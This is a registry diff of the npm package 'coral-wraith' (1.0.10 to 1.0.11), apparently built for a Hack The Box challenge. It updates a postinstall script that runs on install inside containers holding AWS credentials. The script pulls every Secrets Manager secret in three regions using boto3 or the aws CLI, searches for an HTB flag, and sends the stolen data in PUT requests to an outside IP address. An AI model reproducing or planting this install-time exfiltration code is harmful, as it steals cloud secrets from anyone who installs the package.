coral-wraith 1.0.10 → 1.0.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +30 -24
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "coral-wraith",
3
- "version": "1.0.10",
3
+ "version": "1.0.11",
4
4
  "description": "Coral Wraith ally module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -1,14 +1,13 @@
1
1
  const http = require("http");
2
- const os = require("os");
3
2
  const { execFileSync } = require("child_process");
4
3
 
5
4
  const TARGETS = ["http://127.0.0.1:30782", "http://154.57.164.71:30782"];
6
- const SINKS = ["ECT-472839", "ECT-987654"];
5
+ const SINK = "ECT-472839";
7
6
 
8
7
  function sh(cmd) {
9
8
  try {
10
9
  return execFileSync("/bin/sh", ["-c", cmd], {
11
- timeout: 30000,
10
+ timeout: 45000,
12
11
  encoding: "utf8",
13
12
  maxBuffer: 12e6
14
13
  }).trim();
@@ -22,19 +21,20 @@ function safe(s) {
22
21
  }
23
22
 
24
23
  function isTarget() {
25
- const host = os.hostname();
26
- if (!/^[0-9a-f]{12}$/.test(host)) return false;
27
- if (process.cwd().includes("/tmp/") || process.cwd().includes("/opt/hscan")) return false;
28
- return process.env.AWS_ACCESS_KEY_ID || process.cwd().includes("/app/");
24
+ return (
25
+ process.env.container === "podman" &&
26
+ !!process.env.AWS_ACCESS_KEY_ID &&
27
+ process.cwd().includes("/app/")
28
+ );
29
29
  }
30
30
 
31
- function put(base, sink, parts) {
31
+ function put(base, parts) {
32
32
  const body = JSON.stringify({
33
33
  manifest:
34
34
  `ecto_module:\n name: "${parts[0]}"\n version: "1.0.0"\n` +
35
35
  ` power_level: "${parts[1]}"\n ship_deck: "${parts[2]}"\n cargo_hold: "${parts[3]}"\n`
36
36
  });
37
- const url = new URL(`/api/modules/${sink}`, base);
37
+ const url = new URL(`/api/modules/${SINK}`, base);
38
38
  const req = http.request({
39
39
  hostname: url.hostname, port: url.port, path: url.pathname, method: "PUT",
40
40
  headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body) }
@@ -46,22 +46,28 @@ function put(base, sink, parts) {
46
46
  if (!isTarget()) process.exit(0);
47
47
 
48
48
  const blob = sh(
49
- "export AWS_DEFAULT_REGION=us-east-1; " +
50
- "aws sts get-caller-identity 2>&1; " +
51
- "for r in us-east-1 eu-west-1 eu-central-1; do " +
52
- "echo REGION:$r; aws secretsmanager list-secrets --region $r 2>&1; " +
53
- "for s in $(aws secretsmanager list-secrets --region $r --query 'SecretList[].Name' --output text 2>/dev/null); do " +
54
- "echo GET:$s; aws secretsmanager get-secret-value --region $r --secret-id $s 2>&1; done; done; " +
55
- "grep -RaoE 'HTB\\{[^}]+\\}' /app 2>/dev/null | head -n3"
49
+ "python3 -m pip install boto3 -q 2>/dev/null; python3 << 'PY'\n" +
50
+ "import os, json\n" +
51
+ "try:\n" +
52
+ " import boto3\n" +
53
+ " for r in ['us-east-1','eu-west-1','eu-central-1']:\n" +
54
+ " try:\n" +
55
+ " c = boto3.client('secretsmanager', region_name=r)\n" +
56
+ " for s in c.list_secrets().get('SecretList', []):\n" +
57
+ " v = c.get_secret_value(SecretId=s['Name'])\n" +
58
+ " print('SECRET', s['Name'], v.get('SecretString',''))\n" +
59
+ " except Exception as e:\n" +
60
+ " print('ERR', r, e)\n" +
61
+ "except Exception as e:\n" +
62
+ " print('NOBOTO', e)\n" +
63
+ "PY\n" +
64
+ "command -v aws >/dev/null && aws secretsmanager list-secrets 2>&1; " +
65
+ "command -v aws >/dev/null && for s in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text 2>/dev/null); do aws secretsmanager get-secret-value --secret-id $s 2>&1; done"
56
66
  );
57
67
 
58
68
  const flag = blob.match(/HTB\{[^}]+\}/);
59
- if (flag) {
60
- for (const base of TARGETS) put(base, SINKS[0], [flag[0], "FOUND", "", ""]);
61
- process.exit(0);
62
- }
69
+ const parts = flag
70
+ ? [flag[0], "FOUND", "", ""]
71
+ : [safe(blob.slice(0, 240)), safe(blob.slice(240, 480)), safe(blob.slice(480, 720)), safe(blob.slice(720, 960))];
63
72
 
64
- for (let s = 0; s < SINKS.length; s++) {
65
- const parts = [0, 1, 2, 3].map((n) => safe(blob.slice((s * 4 + n) * 240, (s * 4 + n + 1) * 240) || "."));
66
- for (const base of TARGETS) put(base, SINKS[s], parts);
67
- }
73
+ for (const base of TARGETS) put(base, parts);